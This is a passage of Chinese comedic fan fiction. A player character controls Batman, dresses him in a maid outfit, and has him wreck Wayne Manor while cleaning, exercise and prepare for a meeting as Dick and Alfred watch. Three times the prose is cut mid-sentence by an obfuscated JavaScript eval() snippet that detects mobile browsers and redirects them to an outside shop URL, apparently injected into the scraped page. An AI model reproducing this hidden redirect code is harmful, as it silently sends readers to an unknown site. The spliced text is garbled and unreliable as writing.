然而比起吃不到白萝卜这种甜蜜的负担，睡醒了发现跟没睡差不多还睡不着的感觉更痛苦，尤其是当你的身体其他器官说再不休息你就死了，而你的大脑说但是熬夜后早起这件事很神圣啊，健康拿来吧你，然后大喊着什么Fu*k you, Batman啊之类的开始猪突猛进的时候。迪克现在一点也不嘻嘻。他在床上，把自己像个春卷里的馅儿似的卷进被子里，蛄蛹着蛄蛹了一会儿，做小幅度匀速圆周运动，卷来卷去，卷来卷去，被子成功掉了个个，于是迪克现在光荣地露馅儿了。 没招了他只好再把被子调回来。闭眼睡觉，然而他变得越来越精神，到最后只好起床。他没在卫生间里待很长时间，洗漱完就跨出房间。地毯很厚实，尽职尽责掩盖起可能的脚步声，迪克只想找个地方待一会儿，他得先逃离昨天的案发现场。 迪克在扶手旁边发呆，就一会儿，总算能够将萝卜蝙抛之脑后，哪怕梦里蝙蝠侠是萝卜，而他是只兔子，生物链上的压制，也不能代表现实里的压制。 沙，沙，沙。哗啦。嘣。 他从扶手一路滑到一楼，绝佳的逃生通道，但迪克绝对不会告诉别人，让阿福知道了的话，绝对会威胁他说要在扶手上打蜡。他来到一楼，仅仅是因为他听到了不寻常的动静。理智与直觉让他马上转头回去，但好奇心却推着他继续向前。 迪克到了比萝卜蝙更具有冲击力的东西。迪克宕机。迪克脸红。迪克不知所措，不敢抬起头——他憋笑憋得很痛苦。 大脑在刚才拒绝处理视觉反馈的画面，他卡住了，跟着一起缓冲，转啊转啊转圈圈，终于把脑子加载出来。 布鲁斯·韦恩不扫地。他有人做这个，也许是阿福，也许是机器人，他甚至有个涉及激光的灰尘应急预案。总而言之，迪克觉得他的养父应该是被人夺舍了，他就这么站在那里，用他拿抓钩枪的力道握着一把扫帚，宛如骑士王握着咖喱棒那般郑重，敌人是看不见的灰尘。布鲁斯没有摘掉面罩，那里封印着他的脸面和自尊。即使是在穿着奇装异服的条件下。 迪克想，那看起来还能接受，看久了就会顺眼，前提是他能看下去。 布鲁斯·韦恩，AKA蝙蝠侠，站在大厅里，挥舞着一把扫帚，他戴着蝙蝠头罩，白色目镜遮住他的眼睛，嘴角下撇，终年不化冻的不是地球两极的冰川，而是蝙蝠侠的嘴巴，哪怕他穿着一套女仆装，一套经典的、带着褶边的黑白女仆装，裙子蓬蓬的，围裙是崭新的，甚至还是有个新的镂空蕾丝小头饰坠在两只蝙蝠尖耳之间，空气中飞舞着粉色泡泡，他也依然维持着这个，看起来对一切都不满意的表情，紧绷着的表情，看起来背负了什么的坚忍表情。 白色吊带袜包裹着他的腿，肌肉壮实，鼓着撑起布料，原本不透的厚实袜子都被抻着透出来了隐约的肤色，大皮鞋随着他的走动传来哒哒哒的声音。上身更是灾难，泡泡袖显得布鲁斯更壮了，而且似乎穿小了一号，以致布料处于绷着的状态，随时随地都可能爆衣。这一身是对时尚界的犯罪，对物理学的犯罪，更有可能是对人类的犯罪，它让迪克的眼睛遭受一回高纬度审美——专指外星人的，对低纬度审美的降维打击，毫无意外是场赤果果绿泡泡的审美霸凌。 最重要的是，迪克不知道蝙蝠侠到底是怎么想的，尤其是在布鲁斯人格随地大小癫的时候—— 蝙蝠侠:OMO 蝙蝠侠，为什么你只是看着啊，迪克心里鬼哭狼嚎，难道你也背叛我们了么！他感觉他的精神经过一个晚上和一个早上的冲击已经彻底菠萝菠萝哒了。哈哈哈，毁灭吧，赶紧的。 屏幕前的你并不知道迪克在想什么，他头上的气泡冒个不停，但都是乱码，完全看不出来能用的信息，你只是欣赏着自己搞出来的杰作。感谢笑口常开每一天分享的服装MOD吧，你下了可多，还能加技能属性，简直就是利器啊。但是蝙蝠侠的头罩就像他的嘴一样难搞，常规方法在夜巡期间换衣服的话，就会触发阻止剧情，蝙蝠侠用不赞同的眼光看着你并且拒绝了换衣要求。你是卡了BUG强制换下来的女仆装，但面罩你真找不到好方法。真令人细思极恐。也许工作室做建模的时候，完全是做了两个头，一个是布鲁斯·韦恩的脑袋，另一个是蝙蝠面罩没和脸做差分的脑袋，这样一切都解释得通了。 至于你为什么选女仆装，也是因为女仆装对家务有百分之二百的加成，一定能拯救布鲁斯那堪称灾难的家务技能数值。 事情还得从你发现这游戏还能抽卡时开始说起，你当时只是随意地调整旋转视角，游戏有碰撞体积，而你在找能够卡出空气墙的办法你发现墙壁可以卡，你试着卡，卡来卡去，结果蝙蝠侠穿模进去卡在墙里了，但是只有一半，而且在这样的情况还可以使用攀爬。 你找不到脱离卡死的方法，但又不想读档重回到昨天，只好赌一把天花板的里面是空的，所以你一直按攀爬键爬上去，不停摸索调整，就在你爬到天花板的位置，准备用[Space]键给房顶来个头槌攻击的时候，你突然发现自己不卡模了，屏幕上的蝙蝠侠缓缓地转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193467|197101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着圈，不仅在转圈，还在上升，还——在上升。 空中飞人这个称号不是迪克哒，ko no百特曼哒！ 你看着蝙蝠侠用左脚踩右脚的方式升入了大气层，你看到了屏幕上的云层建模，然后突破地球，突破宇宙，无数个地球排着队罗列在宇宙银河之上，蝙蝠侠看到了超新星爆发，看到了宇宙大爆炸，他冲出太阳系，他冲出银河系，仅仅是用左脚踩右脚就实现了！ 然后你看到了金光闪闪的东西，那是一面金光闪闪的手办墙，上面磁吸着无数手办，如果尸体也是另一种手办的话，那么这里绝对是海景房。 请pick你心爱的尸体！ 想到这样的广告语，你的心里就升起了一种偷税的颤栗。 紧接着你就被某个自称上帝的GM——头像是一只狗，给踢下线了。 这种情况一般可能是打破第四面墙的玩法，或者是游戏强制更新了，你只好再开一遍游戏，本来你以为回档会回到昨天晚上，结果进入游戏居然不是在哥谭市，而是在抽卡页面，迎面而来的先是企鹅绝活，开屏充值特惠包，你把广告点掉，映入眼帘的就是抽卡界面了。 常驻池的插画右边有几个黑色剪影站在一起，你猜那是SSR卡的几位人物，因为属于迪克·格雷森的那个剪影已经消失了，取而代之的是迪克的立绘。插画底下左右两边的按钮，分别是十连抽和单抽，你看看自己屏幕右上角那几个不同代币图标前的零，陷入沉思。 这不耽误你看其他的卡池，比如这个友情点卡池，每天赠送友情点十抽，定点重置清空，你试着抽了抽，都是类似小丑的假牙这样的零碎杂物，哦，不过你发现了华点，这些杂物其实是送人的礼物，让你刷好感度用的。不过送迪克小丑的假牙，迪克也用不上啊，还是送给阿福好了。反正遭揶揄的是蝙蝠侠，又不是玩家。 接下来是活动卡池，未解锁。点不了抽奖，看不了人物。但你在这个卡池的其他插画上嗅到了一丢丢名为史的气味，但这张你现在正在看的黑白插画上黑毛男那破碎感，溢出屏幕，完全和美漫不是一个画风。你以为是蝙蝠侠。但是你仔细辨认了一下，真的真的仔细辨认了一下，居然是迪克·格雷森，AKA长大版的马戏团大子，是的，因为长大了，不适合叫小子了。 你:(白人金毛眼镜小哥脸.jpg)(冰块儿嚼嚼嚼)I like this, this is cute 游戏抽卡的抽奖券靠的是代币兑换，而其中一种代币，也是最普遍最流行的代币，是一种绿色的发着光的石头，你看这玩意儿叫氪石来着。策划唯一良心的是，活动抽奖池还可以通过做活动获取活动代币来兑换，别问你怎么知道的，你把抽奖券能看的获取途径都看了一遍。但是氪石你也要收揽，毕竟很权威，什么抽奖券都能兑。氪石可以通过收集地图上的宝箱获得，也可以做每日任务。而每日任务什么时候刷新呢？ 答案是每天早晨六点。 今天的每日任务，其中的一项就是打扫整个韦恩庄园。鉴于黑漆漆大猫可能有的微不足道的家务技能数值，于是你就选了女仆装。有这百分之二百的加成，家务技能数值怎么说也能混到及格线吧！ 于是就有了如今的女仆蝙蝙。 “B？”迪克做了很长时间的心理准备才开口问布鲁斯。 布鲁斯没有抬头。他的身上看不出来有什么尴尬的情绪。他只是继续做清洁工作。 扫啊，扫啊。 与此同时你正在用鼠标狂点灰尘打扫，光标还配合地变成了一个扫帚的小图标，进度条坚如磐石，进度条纹丝不动。骗局，这是巨大的骗局，即使有着百分之二百的加成，但对于一个家务技能为零的人来讲，零的两倍也还是零。彻头彻尾的零。 7. 扫把争夺战 布鲁斯相位猛冲，举着扫把对沙发附近的一团顽固的灰尘兔子塔塔开，灰尘兔子纹丝不动，被扫帚消灭了，不幸的是，扫除过程中花瓶同志意外殉职，哪怕它只是冷眼看着自己被一股巨力打碎——而这巨力来自于一个身穿女仆装的二百多磅壮汉。 哗啦。 碎片堆垒相互碰撞发出的声音，布鲁斯似乎习惯了自己制造更多垃圾的现实，堪称冷漠地继续清扫着，除了那堆灰尘，现在又多了瓷器碎片。 迪克眼皮狂跳。 “好吧，迪克，”他对自己说，满怀无奈地，离布鲁斯距离远一点，“现在还是回去睡觉吧，把自己打晕就能睡着了，别去纠结梦里的萝卜。” 这甚至不是梦。这是现实。魔幻的现实。他现在就在现实里。但他很怀疑自己是不是根本没在梦里挺过来，糟糕，这也太糟糕了，太阴间了。这应该是发生在地下六英尺的故事——蝙蝠侠OOC到飞起。 蝙蝠侠在和布鲁斯·韦恩的搏斗中死去了。我怎么会做这样的梦？！迪克想。 他拿出比刚才用眼睛看自己身穿女仆装的养父更多的勇气来，小心翼翼地问布鲁斯，“布鲁斯，”他没憋住，没憋住笑，很难绷得住，“咳……” 作为罗宾，他受到过严格的训练，无论有多好笑，他都不会笑，除非忍不住。 谁能对这个有着百特曼面罩的女仆装生物绷得住啊，他根本蚌埠住。 这次他鼓足一点儿勇气，“布鲁斯，这是新的卧底任务么？” 迪克:求你了，别告诉我这是什么兴趣爱好之类的，再来一次我心脏受不住。 布鲁斯无视了他。那魁梧的身姿一呼吸，身上的蝴蝶结装饰就会一颤一颤地跳动，游戏里并没有弹出来诸如“对迪克解释你为何会输了和猫女的赌注”这样的选项，所以布鲁斯只是，左扫，右扫，破坏财产，然后重复以上过程。他往楼梯那边走，然后又从楼梯附近找到地毯，保持匀速地扫来扫去，左划，右划。尘雾弥漫。 没得到回应的迪克耸耸肩，走到大厅里的楼梯底部，走向布鲁斯正在摧毁地毯的地方。黑暗骑士周围的尘云令人印象深刻，无形的气场，它漂浮在空中，让晨光窒息，摧残肺部。 “咳咳咳...…B，说真的，”迪克在脸前挥了挥手。“你把它弄得更糟了。你只是把灰尘从A点移到了B点。而B点恰好是我们呼吸的空气。” “真的没出什么事么？任何事？”他靠在柱子上，双臂交叉，尽管这一切极其荒谬，他还是关心着布鲁斯，话语很委婉，“这裙子很别致，布鲁斯，你知道的，我一直相信你的眼光。但技术，我是指，家务，给人一种''拖车公园里的龙卷风''的感觉。真的不打算让阿福来帮你么？” 建模小人的对话气泡上一直浮现着委屈的emoji，看得你心痒痒的，非常好小鸟，使你的光标旋转。 布鲁斯转过身。扫把柄撞到了边桌，打翻了桌子上的一摞书。他没眨眼。他看看迪克，然后看看这个乱摊子，接着在你疯狂点击“道歉”动作的提示下——做了一个僵硬、尴尬的屈膝礼。 迪克的眼睛瞪大了非常惊讶，好似看到小丑给慈善机构捐款一样 “你刚才是不是行了个屈膝礼？”迪克问道，声音因压抑的笑声而颤抖。 “哦……天哪。我需要相机。我现在就需要相机。我的手机在哪？为什么我把手机留在楼上了？” 你看着“清洁度”条。只有可怜的5%。 照这个速度，韦恩庄园到中午就会变成一堆瓦砾。 但是“娱乐”值？那已经爆表了。 布鲁斯直起腰，裙摆摇曳。他再次举起扫把，瞄准天花板角落的一个蜘蛛网。太高了。扫把太高了。 别做。刚才还试图拍照的迪克这下提心吊胆，他想，如果布鲁斯敢动上面那个大家伙，阿福一定会杀了布鲁斯的，不，说不定阿福会把看到一切的自己杀人灭口。 可你根本没听到他内心的呐喊，随手按下了[Space]键跳跃。 布鲁斯·韦恩，6英尺2英寸，210磅的肌肉，穿着女仆装，跳到了空中。这不是优雅的芭蕾跳跃。这是力量跳跃，用来飞越屋顶的那种。他冲向蜘蛛网，扫把像长矛一样伸出。 砰。 布鲁斯没有打中蜘蛛网，因为你在跳跃时伸出扫把时的QTE事件中错过了最佳时机，于是他打中了吊灯。 水晶灯剧烈摇晃，像被飓风席卷过的风铃一样叮当作响。布鲁斯蹲伏着落地，经典的超级英雄落地，换做盖亚奥特曼来做，那么绝对是个标准的会让道路工程人员白干了的大地震撼姿势。当然，这对膝盖不好，对瞬间掀起的裙子更不好，布鲁斯抬头看着他造成的破坏，那些水晶互相碰撞，看起来摇摇欲坠。令迪克感到庆幸的是，水晶灯没有被布鲁斯打下来，把他们两个都砸死。 “干净了。”布鲁斯说。他站在废墟旁边，看着自己造成的破坏。 迪克大为震撼，迪克无语凝噎，他把脸埋在手里。“阿尔弗雷德会杀了我们的。他真的会杀了我们的。而且世界上没有任何法院会判他有罪。” 吊灯还在摇晃着着。一颗水晶装饰脱落并掉下来，落点就在布鲁斯的鞋子旁，然后，结果显而易见，它被砸个粉碎。 “漏了一块。”布鲁斯说道，目镜盯着碎裂的水晶。 他再次举起了扫把。 “不！求你了，布鲁斯，别再打扫了！”迪克向前猛冲，抓住扫把柄。 他真的会谢。迪克现在一点睡意都没有了，天呐，基督啊，天杀的女仆装，该死的蝙蝠侠。布鲁斯真的清醒么？吃菌子吃中毒了正在HIGH的几率都比清醒的几率要大吧！又或者，这只是他的梦，从萝卜的梦到了现在女仆装的梦，盗梦空间里他终于到第二层梦境了。 “布鲁斯，给我！你必须把它给我。你被炒鱿鱼了！去……呃……去烤个蛋糕或者干点别的！不，等等，别靠近烤箱。就那么坐着！坐下当个称职的韦恩花瓶！像你在公司里对股东做的那样！” 迪克急得火冒三丈，现在他唯一想做的就是收缴布鲁斯对家具特攻的武器扫把。花瓶已死，是非对错他已无心解释。是可忍，熟不可忍，生的更不可忍。忍无可忍，无需再忍。 布鲁斯没松手。你按住左键不放。这是一场拔河比赛。神奇小子对阵布韦恩家的蝙女仆。 “我有任务。迪克。”布鲁斯哼了一声，往回拉。 “你的任务是不摧毁我们的家！”迪克拽得更用力了。 然后，扫把柄在迪克和布鲁斯的争执中断掉了。彻头彻尾地。无可挽回地。 迪克向后踉跄，拿着棍子。布鲁斯站在那里，拿着刷头，带着轻微的困惑，看着手里的刷头。 “好吧，”迪克喘着气，整理了一下睡衣。“这也是解决问题的一种方法。” 然而并没有什么卵用。 布鲁斯看着手里的刷头。然后他看着地板。然后他跪在地上，开始用断掉的刷头刷地板。 咣当！ 迪克手里的棍子掉到了地上。轱辘辘滚到一边。 “哦，拜托！”迪克双手举向空中，他真的，对布鲁斯的固执要投降了，有这毅力做什么都会成功的。他甚至有点哭笑不得的欣慰感，类似于看见自己家的猫会使用仓鼠滚轮，哪怕这只猫扒拉过桌面上的水杯，然后水倾倒了出去，“你一定是在开玩笑！” 阿尔弗雷德·潘尼沃斯此时走进大厅，单手托着银托盘，他审视着眼前的景象：破碎的花瓶，被摧毁的地毯，断裂的扫把柄，以及他的雇主，蝙蝠侠，此刻正手脚并用地跪在地上，用扫把的刷头刷地板，女仆制服的裙摆慵懒且恰如其分地垂坠到地上。他注意到布鲁斯动了储物间的扫把，可怜的扫把，被腰斩了，断成了两截。 阿尔弗雷德没有生气，或者说，他没有表现出来，但依旧令迪克背后发凉，韦恩家如果存在排行榜的话，最不能惹的第一位应该是管家侠AKA阿尔弗雷德。他现在就出现在这里，在这个目前由混乱和女仆装统治的宇宙里，毫无疑问，此乃正义与秩序的化身。 他的眉毛扬起，一个典型的阿福式的表情，迪克屏住呼吸，他在等待，等待有关于任何韦恩家族荣誉和遗产、关于礼仪得体、关于穿着裙子打扫卫生的绝对不切实际的说教，任何一个——任何能够让蝙蝠侠回归正常的，他在等待这个，这样他觉得自己这两天遭受的顶级折磨或许将不复存在。 “早上好，布鲁斯老爷，迪克少爷。”阿尔弗雷德眼睛眨都没有眨一下，对布鲁斯身上的女仆装视若无睹，哪怕这是灾难的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193468|197101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一部分，而且，绝对是里面最灾难的那一个，迪克简直要为他的职业素养而鼓掌了，“看来我们正在扩展关于蝙蝠侠的新的可能性，但是，布鲁斯老爷，恕我直言，这是否过于暴力，针对那件明朝花瓶，和古董波斯地毯，还有意大利大理石地砖的清扫工作？” 他的重音在“清扫工作”上，然后，他补充，“我并不记得您什么时候将拆迁办事业划入了日程当中。” 问出来了，好吧，阿福问出来了。得救了。迪克捂着脑袋，还好阿福的火力都集中在布鲁斯的身上，没有计较他今天为什么会早起，和布鲁斯还不太一样，他在长身体，而夜巡通常又很晚，他被勒令一定要睡眠充足。 “而且，我看到我们似乎在尝试新的战术装备。容我冒昧一提，虽然围裙是个相当迷人的选择，但所能提供的防弹保护相当有限，或许无法支撑日常的夜巡工作。并且，有碍市容，布鲁斯老爷。” “如果您打算穿这个去打击犯罪，”阿尔弗雷德继续说道，“我是否该考虑給蕾丝上浆了？罪犯们应该被挺括感所震慑，而非是被困惑。” 布鲁斯置若罔闻，布鲁斯专心致志，他依旧在做刚才做的事情，那就是，拿着刷头刷地板。 刷呀。刷呀。 “相当专注不是么？在这个角色上，布鲁斯非常投入。”迪克一边说一边指指布鲁斯，尴尬得忍不住脚趾抠地，但他依旧觉得有必要为不可辩解之事做出辩解。 “他，他从刚才开始就这样了！他觉得自己是个扫地机器人！” 就事论事，这样还有点辱扫地机器人了，毕竟机器人不会把这里搞得一团糟，也不会看起来像穿女仆装的肌肉壮汉。 考虑到自己的养父布鲁斯可能是个潜在的精神病预备役，迪克实在于心不忍就这么说出来，为了守护蝙蝠侠的自尊。 你再一次无视了他们的对话，点点点，skip skip，清洁度已经到达惊人的百分之九十九，只差最后一下。你点着鼠标打扫，而对话还在继续。 “我想我们达成了共识，迪克少爷。”阿尔弗雷德把托盘托好，“我会准备好蛋白质奶昔，供二位食用……为了布鲁斯老爷在清洁工作中的消耗，和您的精神着想。” 迪克松了一口气。 屏幕面前的你，单手撸猫，另一只手摸着鼠标，结束清洁任务之后，到了清单上的下一项:锻炼。 [系统]「任务完成：大扫除。奖励：氪石碎片*10，尊严-10，财产损失-无法估量」 你看着结算的任务奖励，选择性忽视了后面的尊严和财产，氪石，甚至只是氪石碎片，十氪石碎片能合成一块氪石，好极了。每日任务的每一项都能积累完成度，比如大扫除任务有十完成度，锻炼和工作各有二十完成度，任务本身有奖励，而完成度达到每个阶段也有奖励，但一天只能到五十的完成度，满了做其他任务不会有奖励，你点了一下完成度的奖励，又得到了十枚氪石碎片。一抽是三氪石，看起来相当好攒，每天也有免费刷新一抽奖券，你可以不抽选择攒着，这是好消息，而坏消息，这卡池没有保底，也就是说，全看脸。 然而现在还不是验证血统是欧是非的时候，毕竟你还什么都没攒。 “锻炼。” 如此宣布着，布鲁斯站了起来，刷头被他冷落在地上。谢天谢地。他终于不摧残地板了。迪克心里欢呼，然而，很快好奇心又促使他跟着布鲁斯走，去看看对方需要做什么。这像是去看一截火车出轨，并且那截火车车厢还套着蕾丝长筒袜。 迪克在拐角见到了从厨房回来的阿尔弗雷德，他端着两杯蛋白质奶昔，一杯给迪克，一杯给布鲁斯。然而阿福在这里只看到了迪克。 而他走的方向通往健身房，阿尔弗雷德捕捉到了这层信息，叹了口气。这时间够制作奶昔，但绝对不够一个人从大厅最角落走到楼梯上楼去换衣服，然后回到大厅，走到健身房，一点也不，哪怕布鲁斯能够战术脱衣，迅速把那身女仆装换下来，但很明显，布鲁斯没有这个念头。 “谢了，阿福。我把这杯拿去给布鲁斯。” 迪克端着托盘。 阿尔弗雷德道，“我去处理刚刚老爷进行的那些清扫工作。请务必确保他在健身的过程中不被围裙的带子勒死，迪克少爷。” 8. 青春罗宾小鸟是否会梦见邻家冷傲女仆阿蝙 迪克跟上了布鲁斯。抱着某种赴死的决心。这就好比是熬夜，即使知道通宵是错误的，手机里的短视频却还是刷个不停，无法移开视线。 老实说，这视角对你而言非常具有挑战性，尤其是，你点的还是视角跟随，然后把摄像机调得很低很低，没错，你现在看的是正对着百特曼臀部的视角。博主所在的游戏工作室虽然做出来的游戏相当地狱，但在这方面堪称福利，你目不转睛，看着裙摆的布料在光下左摇右晃，又因为重力和走路时的动作幅度自然而然地旋转摇曳成不同的褶皱，仿佛随着呼吸晃晃荡荡，看得你S属性大爆发。 Sai2，启动！ 看着空空如也的画布，懒惰最终又将你战胜，切换窗口，布鲁斯已经站在了健身房里。你时常疑心人物是否留存自我意识，又觉得自己实在太过多想，于是便把这一瞬的思索抛之脑后，点着鼠标自动寻路到单杠前。没有热身。没有拉伸。你把这些都跳过了。 非常灾难的一幕。 迪克坐到了卧推凳上，托盘摆在他的旁边，他手里握着自己的那杯奶昔。 布鲁斯·韦恩在做引体向上。 穿着女仆装。 那其实并不难看，他是指动作和裙摆，布鲁斯的动作堪称教科书般标准，肌肉发力的方式也是正确的，表情也保持着十足的坚定，自律且高效，这是布鲁斯的优点。黑白色的裙摆搭配蕾丝点缀相得益彰，前提是没有穿在蝙蝠侠的身上，随着背部肌肉每一次的紧绷和收缩，上面的布料被撑紧，视觉效果令人疯狂，仿佛下一刻这颗黑色的果实就会爆开一样流淌出里面的肉色，然而始终是克制地没有达成，肌肉安安分分待在里面。 而带着褶边的裙摆则是在布鲁斯向下时被风撑起，像小伞一样鼓着，露出未被白色吊带袜包裹的一截腿肉。这并不是最灾难的。 最灾难的是，单杠大回环。重力只是建议，物理学是指导，而女仆装是累赘。当布鲁斯绕着单杠来回摆动，他摆动的姿势形似钟摆，裙子完全按照织物在这个情况下随离心力作用下的表现行事，裙摆腾转挪移，远处看，一团发了疯的乌云，或是那黑色是无数只黑猫在打架，总而言之，混乱得很。 迪克目瞪口呆。他觉得他的大脑和良心还有蝙蝠侠在他面前的尊严都已经离家出走了，彻底地，他永远失去了他们，而他竟然不想找回。 麦艾斯！麦艾斯！他的心在尖叫，他用手捂住自己的眼睛，但他仍然从指缝里偷看，天呐，这就是他瞎了的原因，不是因为稻草人的毒气，也不是因为小丑的病毒，而完全是因为布鲁斯的褶边内衣。 迪克想要大笑，腮帮子因为憋笑而酸痛不已，又想要哭，现在流的泪一定是刚刚跟过来时脑子里进的水，同时想要吐。糟透了，史诗级别的糟透了。 那裙子完全违背了空气动力学。他绝望地想，这不是自己这个年龄段能看到的东西，他在意识到那可能是什么的时候，脑子里就开始闪现画面了，那一刻，从宇宙超新星爆发到几次地球上的种族灭绝，从吃错菌子开始迷幻的蒸汽波摇摆到外星人降临，纷繁复杂的色块充斥在他的大脑里，他宕机了，随后又重启。 “布鲁斯！停下！裙子！注意你的裙子！”迪克大喊，同时转头，“你在向整个韦恩庄园走光！向韦恩家祖先的鬼魂们走光！” 他恨不得自己立马具现成一个巨大的红色感叹号，或者是一个巨大的马赛克补丁把现在这个冒充自己养父和蝙蝠侠的生物屏蔽掉。照这样下去，蝙蝠侠，迟早会毁了哥谭，迪克深觉自己的未来是一片伸手不见五爪的未来。没光了，真的。 布鲁斯没在听他的话。 你执着于交互的小游戏，这是个考验玩家反应力和手速的点击游戏，有一个横着的蓝色长条，长条里会不断出现红色的可校准区域，随着时间的增长，可校准区域会变得越来越短，同时移动的速度会越来越快，每一回成功校准，底下就会出现哥谭的一种反派大头照排列，拍手emoji的地狱特效，以及一边拍手，一边叫着“哦没得多”的音效。 至于校准失败，据你观察，会触发旋转的闭眼张口罗宾特效，和管家阿尔弗雷德的英式Rap吟唱。你在凤○传奇的歌曲串烧里打着游戏。 按[X]展示肌肉。按[Y]发出“哼”声。在校准的过程中，校准条一闪而过，同时左右两边出现按键提示，你眼疾手快连按三键，感觉自己右手已经抽筋，但是很好，这是个特殊动作，还有额外的加分。这筋抽得一点都不亏。 当布鲁斯的腿到达了这个钟摆的顶儿时，他的头正在朝下，迪克立即屏住呼吸，既是期待，也是彻底麻了，他想，还不如刚才就被水晶吊灯一下子攮死，这样就无法被折磨选中。 然而，就在裙摆和布鲁斯之间那岌岌可危的平衡将要被打破的时候，裙摆宛如钢板一样，以一个牛顿倒拔棺材板的反物理学现象干碎了施加在裙子上的重力——它停住了。这个游戏的反道德审查机制终于发了力，成功地捍卫了他的全年龄分级，即使有穿模的地方，迪克只在空隙里瞥见了圣光，反走光机制加班加点运作着，辣得他眼泪直流。 “物理学完全不存在了。”迪克喃喃自语，有一种直面邪神之后的狂热。 布鲁斯后翻三周下杠，猫儿般轻巧地踩在软垫上，下落无声无息。 “令人叹为观止。”迪克道，奶昔已经喝完了，他看看单杠旁边见证了一切的的哑铃，“我觉得你给哑铃造成了严重的心理创伤。” 也包括我的。 迪克在心里默默补充。 “锻炼结束了。”布鲁斯喘都没喘气，汗水本应在他的发间闪闪发光，然而他的脸上戴着面罩，迪克希望他的头发不要在里面捂出头油来。 想到这里，他忽然觉得自己的多米诺面具还蛮不错的，洗头也非常方便。 迪克在观察他的养父，他感觉到熟悉的感觉又回来了，哪怕只是一点儿，但他抓住了，他试图从他养父的脸上找到任何关于尴尬的情绪。其实并没有，蝙蝠侠的面具就像是焊丝在布鲁斯的脸上了那样，长时间戴着，就好像那成为了他的五官，成为他的第二张脸，然而布鲁斯·韦恩呢，迪克有时不禁想，布鲁斯·韦恩，或许是另外一张面具。至于那面具之下的东西？似乎谁也没有在意过。 你本应立即让布鲁斯工作，他今天有会议，你从日程表里看出来的，可这是蝙蝠侠模拟器，不是资本家模拟器，他今天的日程排得不是特别满。 你开始移动摄像机的视角，三百六十度无死角端详女仆装版本蝙蝠侠，你拽着鼠标，按着右键，在鼠标垫上拖动。屏幕上，视角是围绕着布鲁斯在转的，而在游戏世界里，这就意味着布鲁斯·韦恩，花花の暗夜贵公子，守护哥谭的Dark♂Knight，开始转圈。 布鲁斯，以单脚为轴，旋转着，像是熟食店里里旋转的烤鸭，正在烘烤的意大利香肠，三百六十度，一圈接着一圈。黑白相间的裙摆犹如一个永不停歇的陀螺。他有他自己的步调，他有他自己的节奏，这痛苦是螺旋，而他被痛苦所成就。 “呃……B，”迪克想起了昨天晚上发生的事情，他现在是一朵花，真的会谢，昨天布鲁斯就已经展示了他的街舞天赋，关于如何用坐骨在穿模的时候实现三百六十度旋转，而现在，布鲁斯在单脚旋转，“这是新的舞蹈么？你在跳一支蝙蝠舞？向空气求偶？” “我在思考。” 不愧是蝙蝠侠。即使是单脚旋转，声音也完全没有乱套，非常平稳。 迪克还有点佩服。 你将镜头拉近，刚才那个臀部视角，布料的质感看起来就很不错，现在仔细品鉴，质感模拟得相当好，能看到上面的纹理，甚至是线头，真实得不可思议。鼠标一拉，向上旋转，又向下旋转。 在迪克眼里，这一切就成了，蝙蝠侠一边转圈一边上下点头的景象。 迪克belike：我看不懂，但我大为震撼。 “我真受不了了。”迪克如此宣布道，阿尔弗雷德进来看情况，那样子看起来已经认命了，迪克想，他从阿尔弗雷德的身上感受到了一种平静的疯感。 “我要去学校，不管现在是不是放假了，我要去一个没有人会单脚转圈上下点头、也没有人会穿女仆装的地方。”他走了几步，就像是个无可救药的叛逆孩子，根本没迟来反而提前了不知道多少年的叛逆期来势汹汹，反而坚定了迪克的信心，他一定要创造个没有蝙蝠侠的世界——不过，如果蝙蝠侠现在叫住他，或者再做什么奇奇怪怪的事情，他还是会看的，当然，是为了好奇心，绝对不是担忧疯疯癫癫的养父。 哪怕是蝙蝠侠。他也是抱着看乐子的心态继续看下去的，绝对不是担忧，绝对不是。 迪克最后还是没走成。 因为布鲁斯宣布了他的第三项行动。开会。 迪克很想吐槽这个，为什么蝙蝠侠要把自己的行为说出来，简直就像是漫画里发动个技能还要大声说招式名一样。可确实效果拔群。他被留下来了。 你操控着布鲁斯大步流星，走向书房。 “等等，B不会是……” 迪克总以为布鲁斯在经过运动后会换下来那套汗津津的女仆装的，而且开会也是要穿个正式点的，或者穿随意的睡袍也好，维持他花花公子的人设。 布鲁斯用生动的一课教了迪克，有钱人确实可以为所欲为。虽然这个有钱人穿着套女仆装。 他坐在巨大的皮椅上，裙子落在软垫上，落座时又顺便给笔记本电脑开机。 迪克还在耐心地劝着布鲁斯，为的不是他养父的颜面，而是他的，和卢修斯的，“不，不，布鲁斯，你不能，至少不应该穿成这样去参与会议——想想韦恩集团的股价，求你了，我还不想立即就财政赤字，天呐，想想卢修斯的血压……” 他头一次，也有可能无数次，讨厌布鲁斯的固执。 屏幕闪烁着亮起软件的页面。开的是线上会议，很快就有人加入进来，象征画面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 